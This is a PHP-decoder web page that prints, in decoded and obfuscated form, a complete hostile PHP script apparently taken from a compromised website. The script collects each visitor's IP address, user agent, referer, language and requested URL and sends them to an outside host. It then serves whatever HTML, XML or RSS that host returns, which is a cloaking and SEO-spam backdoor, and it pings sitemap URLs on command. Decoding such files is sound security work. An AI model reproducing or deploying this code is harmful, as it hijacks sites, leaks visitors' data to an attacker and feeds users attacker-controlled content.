Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

erRoR_REPORTiNg((int)ROUnd(0+0+0));HEADER("Co\156t\145n\x74-T\171pe:\x20\x74e\170\164\x2fh..

Decoded Output download

<?  erRoR_REPORTiNg((int)ROUnd(0+0+0));HEADER("Content-Type: text/html; charset=utf-8");$_irqi=bASE64_ENCode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]);$_thfeq=BasE64_encOdE(@$_SERVER["REQUEST_URI"]);$_xifeksif=@$_SERVER["HTTP_HOST"];$_inuvxwn=basE64_encODe(@$_SERVER["HTTP_USER_AGENT"]);$_wgqcq=BASe64_ENCOdE(@$_SERVER["HTTP_REFERER"]);$_yzime=bAsE64_encoDE(@$_SERVER["REMOTE_ADDR"]);$_isjynye=bAse64_eNcode(dAte_dEfAUlt_TIMeZoNe_GeT());$_ypozubst=((isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]=="on")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]=="https"))?"https://":"http://";$_vdzqzp="https://fgx231.safeteam.top";$_wohwhmo=BASe64_ENcodE($_ypozubst.$_xifeksif);$_lmypp=$_vdzqzp."/index.php?domain=".$_wohwhmo."&uri=".$_thfeq."&lan=".$_irqi."&agent=".$_inuvxwn."&zone=".$_isjynye."&ip=".$_yzime."&goweb=".$_vdzqzp."&referer=".$_wgqcq;$_aljaptcj=_gusjmu($_lmypp);if(stripoS($_SERVER["REQUEST_URI"],"jp2023")!==false){echo$_xifeksif.":cs231-ok;";exit();}if(STrStR($_aljaptcj,"[#*#*#]")){$_uutci=eXPlOde("[#*#*#]",$_aljaptcj);if($_uutci[(int)roUnD(0+0+0)]=="echohtml"){echo$_uutci[(-0101- -01533- -0614-02670)-(-0425+02)];exit;}if($_uutci[(int)round(-227+-227+-227)+(-0306+-02220+01253)-(int)ROuNd(114.75+114.75+114.75+114.75)+(int)round(455.75+455.75+455.75+455.75)]=="echoxml"){HEAdeR("Content-type: text/xml");echo$_uutci[(-0323- -0203+-0173)+(int)rOuND(-43.333333333333+-43.333333333333+-43.333333333333)-(-01265+071+075- -0361)];exit;}if($_uutci[(-0220+0130)+(0361+-0761)+(01455-0765)]=="echorss"){HEadEr("Content-type: text/xml");echo$_uutci[(int)rounD(0.25+0.25+0.25+0.25)];exit;}if($_uutci[(int)RoUnD(-33+-33+-33+-33)+(int)rOUNd(-42.5+-42.5)+(-0233+-0421-0141+0616)+(01012-0307-0347+0374)]=="pingxml"){$_imoyg=explOdE("|||",$_uutci[(int)Round(0.5+0.5)]);foreach($_imoyg as$_nabdps){$_keznl=_gusjmu($_nabdps);$_ejgne=(StRPOs($_keznl,"Sitemap Notification Received")!==false)?"OK":"ERROR";echo$_nabdps."===>Sitemap: ".$_ejgne."<br>";}exit;}}function _gusjmu($_bejuzy,$_syvuhy=-0.021506647748174,$_xyic=true,$_gtiw=027345,$_bbzwgddg=-020041,$_ykfbtayl=-025003,$_nxqua=-0.39176571529513){$_aljaptcj=@fiLe_GeT_ConTENTS($_bejuzy);if(!$_aljaptcj){$_jiewgge=CURL_inIT();curL_SetOPT($_jiewgge,(int)ROunD(5001+5001),$_bejuzy);CURL_SEtOPt($_jiewgge,(int)rounD(40.5+40.5),(int)ROunD(-16+-16+-16)+(01147-01121+01071)-(int)rouND(271.5+271.5));CUrL_seTOpT($_jiewgge,(int)ROuND(149.5+149.5+149.5+149.5)-(0212-0661+01104)+(int)roUNd(12.333333333333+12.333333333333+12.333333333333)+(-0455+017),(int)RouND(0+0+0+0));CURL_setOpt($_jiewgge,(int)RounD(6632+6632+6632)-(int)rounD(-8.5+-8.5),(int)rOUnd(0.33333333333333+0.33333333333333+0.33333333333333));$_aljaptcj=CuRl_EXec($_jiewgge);curl_clOsE($_jiewgge);}return$_aljaptcj;}; ?>

Did this file decode correctly?

Original Code

erRoR_REPORTiNg((int)ROUnd(0+0+0));HEADER("Co\156t\145n\x74-T\171pe:\x20\x74e\170\164\x2fh\x74\x6dl\073\040c\150ar\x73e\164\075ut\x66-8");$_irqi=bASE64_ENCode(@$_SERVER["\110TTP_\101CC\105\x50T\x5f\x4c\x41\x4e\107UA\107E"]);$_thfeq=BasE64_encOdE(@$_SERVER["\122EQUEST\x5f\125\x52\x49"]);$_xifeksif=@$_SERVER["\110TTP_\110\x4fS\x54"];$_inuvxwn=basE64_encODe(@$_SERVER["\110T\x54\120\x5fUSE\x52\137AG\x45\x4eT"]);$_wgqcq=BASe64_ENCOdE(@$_SERVER["\x48\x54\124\120_R\105FE\x52\x45R"]);$_yzime=bAsE64_encoDE(@$_SERVER["R\x45\x4dOTE\137\101DDR"]);$_isjynye=bAse64_eNcode(dAte_dEfAUlt_TIMeZoNe_GeT());$_ypozubst=((isset($_SERVER["H\124TP\123"])&&$_SERVER["HTT\x50S"]=="on")||(isset($_SERVER["\110TTP_X\x5fF\x4fR\x57A\x52\104\105D\x5f\120\x52OT\117"])&&$_SERVER["HT\x54P_\x58_F\117\122WARDED_P\x52O\x54\x4f"]=="https"))?"h\x74t\160s:/\057":"\x68t\x74p://";$_vdzqzp="https:\057\x2ff\147x\06231\x2esaf\145t\x65\x61m\056to\x70";$_wohwhmo=BASe64_ENcodE($_ypozubst.$_xifeksif);$_lmypp=$_vdzqzp."\x2fi\x6edex.php\077\x64omai\x6e=".$_wohwhmo."\x26\x75ri=".$_thfeq."\046la\156=".$_irqi."&agen\164=".$_inuvxwn."&z\x6f\156\x65=".$_isjynye."&i\x70\x3d".$_yzime."\046gow\x65\x62=".$_vdzqzp."&re\146\x65\162er\x3d".$_wgqcq;$_aljaptcj=_gusjmu($_lmypp);if(stripoS($_SERVER["REQUEST_UR\x49"],"\152p202\063")!==false){echo$_xifeksif.":cs\x32\0631-\x6f\x6b;";exit();}if(STrStR($_aljaptcj,"\133#\x2a#\x2a\043\x5d")){$_uutci=eXPlOde("[\x23\x2a#\052#]",$_aljaptcj);if($_uutci[(int)roUnD(0+0+0)]=="echoht\155\154"){echo$_uutci[(-0101- -01533- -0614-02670)-(-0425+02)];exit;}if($_uutci[(int)round(-227+-227+-227)+(-0306+-02220+01253)-(int)ROuNd(114.75+114.75+114.75+114.75)+(int)round(455.75+455.75+455.75+455.75)]=="echoxml"){HEAdeR("C\x6fn\164en\164-\164y\x70\145: t\145xt\057\x78ml");echo$_uutci[(-0323- -0203+-0173)+(int)rOuND(-43.333333333333+-43.333333333333+-43.333333333333)-(-01265+071+075- -0361)];exit;}if($_uutci[(-0220+0130)+(0361+-0761)+(01455-0765)]=="\x65\143h\x6f\x72\x73s"){HEadEr("\x43o\x6e\x74en\164-typ\x65: \164e\170t/xml");echo$_uutci[(int)rounD(0.25+0.25+0.25+0.25)];exit;}if($_uutci[(int)RoUnD(-33+-33+-33+-33)+(int)rOUNd(-42.5+-42.5)+(-0233+-0421-0141+0616)+(01012-0307-0347+0374)]=="\x70in\x67x\x6dl"){$_imoyg=explOdE("|\174|",$_uutci[(int)Round(0.5+0.5)]);foreach($_imoyg as$_nabdps){$_keznl=_gusjmu($_nabdps);$_ejgne=(StRPOs($_keznl,"Site\x6d\x61\x70\x20No\164ifica\164i\157n R\x65ce\151ved")!==false)?"\x4fK":"E\122\122\x4f\122";echo$_nabdps."=\x3d=>Si\164e\x6dap\072 ".$_ejgne."<\142r>";}exit;}}function _gusjmu($_bejuzy,$_syvuhy=-0.021506647748174,$_xyic=true,$_gtiw=027345,$_bbzwgddg=-020041,$_ykfbtayl=-025003,$_nxqua=-0.39176571529513){$_aljaptcj=@fiLe_GeT_ConTENTS($_bejuzy);if(!$_aljaptcj){$_jiewgge=CURL_inIT();curL_SetOPT($_jiewgge,(int)ROunD(5001+5001),$_bejuzy);CURL_SEtOPt($_jiewgge,(int)rounD(40.5+40.5),(int)ROunD(-16+-16+-16)+(01147-01121+01071)-(int)rouND(271.5+271.5));CUrL_seTOpT($_jiewgge,(int)ROuND(149.5+149.5+149.5+149.5)-(0212-0661+01104)+(int)roUNd(12.333333333333+12.333333333333+12.333333333333)+(-0455+017),(int)RouND(0+0+0+0));CURL_setOpt($_jiewgge,(int)RounD(6632+6632+6632)-(int)rounD(-8.5+-8.5),(int)rOUnd(0.33333333333333+0.33333333333333+0.33333333333333));$_aljaptcj=CuRl_EXec($_jiewgge);curl_clOsE($_jiewgge);}return$_aljaptcj;};

Function Calls

ROUnd 1

Variables

None

Stats

MD5 04ac687891af167c0508c89f80bebffc
Eval Count 0
Decode Time 68 ms